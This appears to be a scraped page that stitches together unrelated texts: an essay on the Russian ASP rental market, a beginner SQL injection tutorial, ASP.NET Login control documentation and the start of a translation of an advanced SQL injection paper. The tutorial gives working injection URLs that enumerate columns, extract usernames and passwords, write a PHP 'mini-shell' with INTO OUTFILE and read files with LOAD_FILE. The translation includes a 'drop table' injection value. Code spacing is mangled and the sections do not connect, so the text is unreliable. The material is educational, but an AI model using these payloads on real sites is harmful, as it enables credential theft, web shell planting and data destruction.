entranceBasic sql injection in SQL applications. A guide for dummies
Currently, it cannot be argued that a full-fledged ASP market has formed in Russia. The majority of Russian users still do not perceive the ASP concept as useful for their business. Currently (at the time of preparation of the article) on Russian market there is not a single successful example of full-scale ASP implementation in a large enterprise. In fact, there is only hosting, separate implemented elements of the ASP-model, companies that want to engage in ASP-business, etc. That is, there is no implementation of the classic ASP-model in Russia yet.
Now in the Russian market, the ASP-model is applicable only to personalized mail services (Mail.ru, Beep.ru, Freemail.ru, etc.) and to specialized high-tech services (for example, banner and search engines, Internet statistics systems, etc.) ... At the same time, the lease of postal services does not mean simply the provision of a personal mailbox to each individual user. Free of charge mail servers widely used in the corporate sector by small businesses and private entrepreneurs. The main clients of such services are companies wishing to organize a corporate mail service (or automate corporate document flow) or Internet providers (for example, portals Rambler.ru, Yandex.ru, etc.), wishing to organize a free Web-mail service for their audience.
There is a certain interest of Russian users in the rental of electronic stores (showcases on an electronic trading platform). And this is understandable. Since there are still very, very few successful examples of online trading in Russia (despite the loud statements of a number of companies about their impressive achievements), it seems most reasonable to spend an order of magnitude less money on renting an electronic store (than buying and maintaining it). In the event of a project failure, it can be closed quickly enough and without significant losses. The lease of ERP applications, widespread in the West, is now in Russia only at the stage of pilot projects.
Among the applications offered for rent, one can note both relatively simple office suites (such as MS Office) and more complex applications (such as Lotus Smart Suite), as well as ERP systems (such as Navision Axapta).
The main problems and features of the Russian ASP market.
10.2 Problems in the Russian market.
Currently, the Russian ASP market lags behind the global ASP market by at least several years. The rudimentary state of the Russian ASP market is caused by a number of existing problems. The main of these problems are:
1. The general lag of the Russian economy from the Western one and the underdevelopment of the technical infrastructure of enterprises. Until now, most Russian enterprises operate on the technical infrastructure created decades ago. At present, the investments of enterprises in its modernization are still insufficient. And here the problem is rather the financial priorities of enterprises, since not all of them can invest the necessary funds in the modernization of the technical infrastructure. Therefore, they have to solve their current problems at the expense of the existing infrastructure.
2. Low demand for ASP services. Population and corporate clients are not ready (for the most part) to pay for ASP services. If for the average Russian consumer now there are simply more pressing and vital priorities in spending, then corporate users do not take ASP services seriously yet.
3. Weakness of the legal framework for the electronic market. Until the full package of laws is adopted, there is no need to talk about the development of the electronic market (including ASP).
4. Closure of financial statements of corporate clients (especially the most solvent enterprises).
5) IT Resistance (both explicit and implicit) large companies who have to reorient themselves to other tasks, cut staff and IT budgets, etc.
6. A small number of applications that can be used in the ASP model for Russian enterprises.
7. The presence in the Russian labor market of a sufficiently large number of IT specialists of the entry and middle level with relatively low salaries. After the 1998 crisis, the overwhelming majority of IT specialists' salaries remained at the same post-crisis level. It is sometimes cheaper for small and medium-sized companies to maintain their own IT services than to pay for ASP services (in contrast to Western companies, where the situation is exactly the opposite).
Greetings, reader. Lately, I have been interested in Web security, and to some extent my work is related to this. Because I increasingly began to notice topics on various forums, with a request to show how it all works, I decided to write an article. The article will be designed for those who have not come across a similar one, but would like to learn. There are relatively many articles on this topic online, but for beginners, they are a little complicated. I will try to describe everything in clear language and detailed examples.
Foreword
In order to understand this article, you do not really need knowledge of the SQL language, but at least good patience and a little brain for memorization.I believe that one reading of the article will not be enough, because we need living examples - as you know, practice, in the process of memorization, is never superfluous. Therefore, we will write vulnerable scripts and train on them.
What is SQL Injection?
In simple terms, this is an attack on the database, which will allow you to perform some action that was not planned by the script creator. Real life example:Father, wrote in a note to mom to give Vasya 100 rubles and put it on the table. Recycling this into a joke SQL language, we get:
REMOVE 100 RUBLES FROM the wallet AND GIVE THEM TO Vasya
Since the father wrote the note poorly (Gnarled handwriting), and left it on the table, Vasya's brother, Petya, saw it. Petya, being a hacker, added “OR Petya” there and the following request came out:
GET 100 RUBLES FROM the wallet AND GIVE THEM TO Vasya OR Petya
Mom, having read the note, decided that she gave Vasya money yesterday and gave 100 rubles to Pete. Here's a simple example SQL injection from life :) Without filtering the data (Mom could barely make out the handwriting), Petya made a profit.
Preparation
For practice, you will need an archive with the source scripts for this article. Download it and unpack it on the server. Also import the database and set the data in the file cfg.phpSQL injection search
As you already understood, the injection appears from the incoming data, which is not filtered. The most common mistake is not filtering the passed ID. Well, roughly speaking, substitute quotes in all fields. Be it a GET / POST request or even a Cookie!
Numeric input parameter
For practice, we need a script index1.php... As I said above, we substitute quotes in the news ID.Because our request has no filtering:
$ id = $ _GET ["id"]; $ query = "SELECT * FROM news WHERE id = $ id";
The script will understand this as
SELECT * FROM news WHERE id = 1 "
And it will give us an error:
Warning: mysql_fetch_array () expects parameter 1 to be resource, boolean given in C: \ WebServ \ domains \ sqlinj \ index1.php on line 16
If the error is not returned, there may be the following reasons:
1.SQL injection is not here - Quotes are filtered, or is it just worth converting to (int)
2. Disabled error output.
If you still get an error - Hurray! We found the first kind of SQL injection - Numeric input parameter.
String input parameter
We will send requests to index2.php... V this file, the request looks like:
$ user = $ _GET ["user"]; $ query = "SELECT * FROM news WHERE user =" $ user "";
Here we select news by username, and again, we do not filter.
Again, we send a request with a quote:
Threw an error. OK! So there is a vulnerability. For a start, that's enough for us - let's get down to practice.
Getting started
A bit of theory
You probably can't wait to get something out of this, except for errors. First, understand that the sign " -- "is considered a comment in SQL.
ATTENTION! There must be spaces before and after it. In the URL, they are passed as %20
Everything that comes after the comment will be discarded.That is, the request:
SELECT * FROM news WHERE user = "AlexanderPHP" - habrahabra
It will succeed. You can try this in the index2.php script by sending a request like this:
Sqlinj / index2.php? User = AlexanderPHP "% 20 -% 20habrahabr
Learn the parameter UNION... In SQL language keyword UNION is used to combine the results of two SQL queries into a single table. That is, in order to pull out something we need from another table.
Benefiting from it
If the parameter is "Numeric", then in the request we do not need to send a quote and naturally put a comment at the end. Let's go back to the script index1.php.
Let's look at the script sqlinj / index1.php? Id = 1 UNION SELECT 1. We get a query to the database like this:
SELECT * FROM news WHERE id = 1 UNION SELECT 1
And he gave us an error, because to work with aggregation of queries, we need the same number of fields.
Because we cannot influence their number in the first request, then we need to select their number in the second so that it is equal to the first.
Selecting the number of fields
The selection of fields is very simple, just send the following requests:
sqlinj / index1.php? id = 1 UNION SELECT 1,2
Error…
sqlinj / index1.php? id = 1 UNION SELECT 1,2,3
Error again!
sqlinj / index1.php? id = 1 UNION SELECT 1,2,3,4,5
There is no mistake! So the number of columns is 5.
GROUP BY
It often happens that there can be 20 or 40 or even 60 fields. In order not to iterate over them every time, we use GROUP BYIf the request
sqlinj / index1.php? id = 1 GROUP BY 2
gave no errors, so the number of fields is more than 2. Try:
Sqlinj / index1.php? Id = 1 GROUP BY 8
Oops, we see an error, so the number of fields is less than 8.
If there is no error with GROUP BY 4, and an error with GROUP BY 6, then the number of fields is 5
Defining the columns to display
To ensure that nothing is displayed to us from the first request, it is enough to substitute a non-existent ID, for example:Sqlinj / index1.php? Id = -1 UNION SELECT 1,2,3,4,5
By this action, we have determined which columns are displayed on the page. now, in order to replace these numbers with the required information, you need to continue the request.
Data output
Let's say we know that the table still exists users in which fields exist id, name and pass.
We need to get Information about the user with ID = 1
Therefore, let's build a query like this:
Sqlinj / index1.php? Id = -1 UNION SELECT 1,2,3,4,5 FROM users WHERE id = 1
The script also continues to output
To do this, we will substitute the name of the fields, for the place of numbers 1 and 3
Sqlinj / index1.php? Id = -1 UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1
We got what was required! 
For "string input parameter", as in the script index2.php you need to add a quotation mark at the beginning and a comment mark at the end. Example:
sqlinj / index2.php? user = -1 "UNION SELECT name, 2, pass, 4,5 FROM users WHERE id = 1 -% 20
Reading / Writing Files
To read and write files, the database user must have the FILE_PRIV rights.File recording
In fact, everything is very simple. To write a file, we will use the function OUTFILE.sqlinj / index2.php? user = -1 "UNION SELECT 1,2,3,4,5 INTO OUTFILE" 1.php "-% 20
Great, the file has been registered with us. Thus, We can fill in the mini-shell:
sqlinj / index2.php? user = -1 "UNION SELECT 1,"", 3,4,5 INTO OUTFILE" 1.php "-% 20
Reading files
Reading files is even easier than writing. It's easy enough to use the function LOAD_FILE, for the place of the field that we choose:Sqlinj / index2.php? User = -1 "UNION SELECT 1, LOAD_FILE (" 1.php "), 3,4,5 -% 20
Thus, we have read the previous recorded file.
Protection methods
It is even easier to defend than to exploit a vulnerability. Just filter the data. If you are passing numbers, use
$ id = (int) $ _GET ["id"];
As suggested by user malroc. Protected by using PDO or prepared statements.
Instead of completion
This is where I want to finish my first part about “ SQL injection for beginners". In the second, we'll look at heavier injection examples. Try to write vulnerable scripts and execute queries yourself.And remember, don't trust any user of your site.
Tags: Add Tags
Login control
The Login control makes it easy to create a login page for forms authentication in conjunction with the Membership API. It provides a ready-to-use user interface that prompts for the username and password and prompts for a button to login the user. Behind the scenes, it encapsulates functionality that was described in a previous article: validating user identities through the Membership API and encapsulating basic forms-based authentication functionality such as redirecting to the originally requested page in a secured application area after a successful login.
This means that Login encapsulates things like Membership.ValidateUser () or FormsAuthentication.RedirectFromLoginPage (), so you don't have to write this code yourself. The figure below shows the Login control in action:
Whenever the user clicks the Log In button, the control automatically validates the username and password using the Membership.ValidateUser () function, and then calls FormsAuthenication.RedirectFromLoginPage () if validation is successful. All of the options for the Login control affect the input it delivers to these methods. For example, if you check the Remember me next time checkbox, it will pass true in the createPersistentCookie parameter of the RedirectFromLoginPage () method. Therefore, the FormsAuthenticationModule creates a persistent cookie.
Behind the Scenes Login is an ASP.NET composite control. It is fully extensible - in the sense that it allows you to override any layout styles and properties, as well as intercept generated events to override its default behavior. If you leave the control unchanged, and do not catch any events, then it will automatically use the membership provider configured for the application.
The simplest form of a Login control on a page looks like this:
Several properties are provided to change the appearance of the Login control. You can apply different style settings as shown below:
Additionally, you can use CSS classes to customize the appearance of Login. Each style property supported by the Login control includes a CssClass property. As with any ASP.NET control, this property allows you to specify the name of the CSS class that was previously added to the website. Suppose you added the following CSS stylesheet to your project with the filename MyStyles.css:
MyLoginTextBoxStyle (cursor: pointer; background-color: yellow; text-align: center; padding: 6px; border: dotted black; font-family: Verdana; vertical-align: middle;) .Login (display: inline-block;) .Title (padding: 6px;)
This style file can be included in the login page to be able to style the Login element:
The following table lists the styles supported by the Login control. Each style works the same way. Font and color properties can be set directly, or you can use the CssClass property to specify the desired CSS class:
| Style | Description |
|---|---|
| CheckBoxStyle | Defines the style properties for the Remember me next time checkbox |
| FailureStyle | Defines the style for the text that is displayed in case of an unsuccessful login |
| HyperLinkStyle | The Login control allows you to define several types of hyperlinks, for example, to the initial registration page. This style determines the appearance of such hyperlinks. |
| InstructionTextStyle | The Login control allows you to specify the help text to display directly within itself. This style sets the appearance of this text. |
| LabelStyle | Specifies the style for User Name and Password labels |
| LoginButtonStyle | Defines the style of the login button |
| TextBoxStyle | Specifies the style for the User Name and Password text fields |
| TitleTextStyle | Specifies the style of the title text for the Login control |
| ValidatorTextStyle | Defines styles for controls used to validate username and password |
The Login element's user interface is customizable through more than just these styles; other additional properties target specific parts of the control's content, such as the Log In button, that also allow you to customize the graphical interface.
For example, you can choose the text displayed on the login button, or even display a hyperlink instead of this button (as set by default). Moreover, you can add multiple hyperlinks to the Login control, such as a link to a help page or a registration page. Both pages must be open to anonymous access because help must also be offered to anonymous users (remember that if someone sees the Login control, they are a potentially anonymous user). To include additional links in Login, modify the previously shown definition as follows:
This code displays two additional links, one to the help page and one to the initial registration page, and adds a short instruction text under the heading of the Login element:
The styles described earlier apply to these properties as well. The table below describes the important properties for customizing the Login control:
| Property | Description |
|---|---|
| Message text | |
| TitleText | The text displayed in the title of the control |
| InstructionText | This property has already been used in the previous code snippet. Contains the text displayed below the title of the control |
| FailureText | The text displayed by the Login control if the login attempt fails |
| UserNameLabelText | Text displayed as a label before the username text field |
| PasswordLabelText | Text displayed as a label before the user's password text field |
| UserName | The initial value that populates the username text box |
| UsernameRequiredErrorMessage | Error message displayed if the user did not enter a name |
| PasswordRequiredErrorMessage | Error message displayed if the user did not enter a password |
| Login button | |
| LoginButtonText | Text displayed on the login button |
| LoginButtonType | |
| LoginButtonImageUrl | If the login button is presented as a graphic image, you must specify the URL where this image is located |
| Login page | |
| DestinationPageUrl | If the login attempt is successful, the Login control redirects the user to this page. This property is empty by default. Empty uses the Forms Authentication Framework to redirect to either the original requested page or the defaultUrl configured in web.config for Forms Authentication |
| FailureAction | Determines the action that the control takes after an unsuccessful login attempt. Two valid options are Refresh and RedirectToLoginPage. The first value only refreshes the current page, while the second redirects to the configured login page. The second option is useful if the Login control is used somewhere else than on the login page |
| VisibleWhenLoggedIn | If set to false, then the control will automatically hide itself if the user is already signed in. If set to true (the default), then the Login element is displayed even if the user is logged in |
| Configuring a Remember Me Label | |
| DisplayRememberMe | Shows or hides the Remember me next time checkbox. By default this property is set to true |
| RememberMeSet | Specifies the default value for the Remember me next time check box. By default, this property is set to false, i.e. the checkbox is not checked |
| Registration page | |
| CreateUserUrl | Defines a hyperlink to a page on a website that allows you to create (register) a user. Thus, it is commonly used to give the user access to the initial registration page. This usually displays the CreateUserWizard control. |
| CreateUserText | |
| CreateUserIconUrl | URL of the graphic image displayed along with the hyperlink text of CreateUserUrl |
| Help page | |
| HelpPageUrl | URL to redirect the user to the help page |
| HelpPageText | |
| HelpPageIconUrl | The URL of the icon displayed along with the HelpPageUrl hyperlink text |
| Password recovery page | |
| PasswordRecoveryUrl | URL to redirect the user to the password recovery page. This page applies when the user has forgotten their password. It usually displays a PasswordRecovery control |
| PasswordRecoveryText | |
| PasswordRecoveryIconUrl | The URL of the icon displayed along with the PasswordRecoveryUrl hyperlink text |
Login templates and control
As you can see, all of these properties make the Login control very flexible. But as you probably noticed, it is impossible to define any expression for validating the input. It is of course possible to implement server-side validation inside the event procedures offered by the Login control. When you need to add some elements to the Login composite control, this cannot be done through the properties presented above. For example, what if you need a second text box for strong authentication with a second password or custom passkey, as some government sites do?
Fortunately, like other controls such as the GridView, the Login control supports templates. Using templates, you can customize the content of the Login control without any restrictions. Any new controls can be added to it. Applies a custom template to the Login control using a handle LayoutTemplate:
Sign in
Username:
Password:
Looking at the code above, one question arises: if you have to write so much user interface code (or design it in a visual designer) when setting up a template, why not write your own login page without using the Login control?
This is the right question. However, as explained earlier, the frontend is only one part of the Login element. For example, in case the user clicks the login button, the Login control already has all the necessary code to automatically validate the user against the membership store, and redirects it to the original requested page through the forms authentication framework. So you are definitely saved from having to write this code.
With the correct controls and the correct identifier values for these controls, you don't need to write event handling code. The code works in the usual way, except that you define a set of controls and their layout. In reality, the Login control requires at least two text fields, UserName and Password. If these two text fields are missing (or have different identifier values), then Login will throw an exception. All other controls are optional, but if you provide an appropriate identifier value (such as Login for a login button), then Login will automatically handle their events and behave as if the default layout is applied.
The table below lists the special values of identifiers, the element types required for them, and the mandatory flag:
The control with the Login identifier can be anything that supports bubble propagation and the CommandName property. It is important to set the CommandName property of this element to Login, since otherwise, the Login control will not recognize it during event handling. If you don't add a control with the CommandName property set to Login, you will have to handle the events yourself and write the appropriate code to validate the username and password and redirect to the original requested page.
You can also add controls with other IDs that have nothing to do with Login at all. The above code used the RequiredFieldValidator and RegularExpressionValidator elements to validate the username and password fields.
When using the LayoutTemplate, many of the native properties of the control are no longer available. When a template is applied, only the following properties remain available:
-
MembershipProvider
DestinationPageUrl
VisibleWhenLoggedIn
All of the style properties and a few properties to customize the text content of the elements by default are no longer available in the Visual Studio property editor because they can be added manually as separate controls or static text to the Login element template. If you add them to the Login element in template mode, they will simply be ignored, because the template overrides the default interface of the Login element, which takes advantage of these properties.
Login Control Programming
The Login control supports several events and properties that you can use to customize its behavior. They provide complete control over the fine-tuning of the Login control (along with other customization tools such as templates and style properties). The Login control supports the events listed in the table below:
| Event | Description |
|---|---|
| LoggingIn | Initiated just before user authentication by the control |
| LoggedIn | Fired after the user is authenticated by the control |
| LoginError | Triggered when a user fails to log in for any reason (for example, an incorrect password or username) |
| Authenticate | Triggered for user authentication. If you handle this event, you must authenticate the user yourself and the Login control will rely entirely on your authentication code. |
The first three events can be handled to perform some actions before user authentication, after authentication, and in case of an error during authentication. For example, the LoginError event can be used to automatically redirect the user to the password recovery page after a certain number of login attempts, as shown below:
Protected void Page_Load (object sender, EventArgs e) (if (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) protected void Login1_LoginError (object sender, EventArgs e) (// If the LoginErrors state does not exist, create it if (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0; // Increase the counter of failed login attempts int ErrorCount = (int) ViewState ["LoginErrors"] + 1; ViewState ["LoginErrors"] = ErrorCount ; // Check the number of unsuccessful attempts if ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);)
The Login control generates events in the order shown in the figure below:
As mentioned earlier, if you intercept the Authenticate event, you must add your own username and password verification code. Property Authenticate maintains an instance of the AuthenticateEventArgs parameter list. This event argument class supports one property called Authenticated. If set to true, the Login control assumes authentication was successful and raises the LoggedIn event. If you set this property to false, the FailureText is displayed and the LoginError event is raised:
Protected void Login1_Authenticate (object sender, AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName, Login1.Password)) (e.Authenticated = true;) else (e.Authenticated = false;))
As you can see, there is direct access to the entered values through the UserName and Password properties, which contain the text entered in the corresponding text boxes. If you are using templated controls and want to get a value from another control, in addition to the UserName and Password, you can use the FindControl () method to get this additional control. This method takes the ID of the desired item and returns an instance of System.Web.UI.Control. The resulting object is then simply cast to the type of the desired control, and the value required by the custom authentication method for the user is read.
This work is a translation of a portion of Chris Anley's Advanced SQL Injection In SQL Server Applications. ()In subsequent articles, subject to the availability of free time, this translation will be completed.
P.S. The translation will be more interesting for educational and historical purposes.
Original article title: Advanced SQL Injection in SQL Applications.
annotation
This article details common "SQL injection" methods for the well-known Microsoft Internet Information Server / Active Server Pages / SQL Server platform. It discusses the various uses of SQL injection in applications and explains methods for validating data and securing databases where injection can be used.
Introduction
Structured Query Language (SQL) is a structured language used to interact with databases. There are many "dialects" of the SQL language, but today most of them are based on the SQL-92 standard, one of the earliest ANSI standards. The main operating block of SQL is a query, which is a collection of expressions that usually return a result set. SQL expressions can modify the structure of databases (using Data Definition Language (DLL) expressions) and manipulate their content (using Data Manipulation Language (DML) expressions). In this paper, we will look at transact-SQL used in Microsoft SQL Server.
SQL injection is possible when an attacker can insert his own SQL into a query to manipulate the data that is sent to the application.
A typical SQL statement looks like this:
Select id, forename, surname from authors
This expression takes "id", "forename" and "surname" from the columns of the "authors" table and returns all rows in the table. The selection can be limited by a certain "author", for example:
Select id, forename, surname from authors where forename = "john" and surname = "smith"
It should be noted that in this query, string literals are separated by a single quote. It is assumed that "forename" and "surrname" are user input. In this case, an attacker will be able to enter his own SQL query by adding his own values to the application. For example:
Then the expression will take the following form:
Select id, forename, surname from authors where forename = "jo" hn "and surname =" smith "
After the database tries to process such a request, the following error will be returned:
Server: Msg 170, Level 15, State 1, Line 1 Line 1: Incorrect syntax near "hn".
The reason for the error will be that the entered single quote will spoil the structure of the delimiters in the query. Thus, the database will try unsuccessfully to execute the "hn" command, which will result in an error. As a result, if an attacker enters the following information into the form:
Forename: jo "; drop table authors-- Surname:
The "authors" table will be dropped, so we'll look at why later.
You might think that if we remove single quotes from the input form, and also "replace" them, this may solve our problem. And you will be right, however, there are some problems with using this method as a solution to this problem. First, not all user input is "strings". Where the custom form will contain the "id" of the author, which is usually a number. For example, our request might look like this:
Select id, forename, surname from authors where id = 1234
In this case, an attacker can easily add any SQL statement after the numerical data. In other flavors of SQL queries, different delimiters are used. For example, in Microsoft Jet DBMS, the delimiter is "#". Second, "escaping" single quotes is by no means the easiest way to protect yourself, as it might seem at first. We will talk about this in more detail later.
Here's an example based on an Active Server Pages (ASP) login page that uses SQL to access a database to authorize a user in an application.
Here is the code of the page containing the login form, into which the username and password are entered.
Login
Below is the code (process_login.asp) that determines the correctness of the entered data.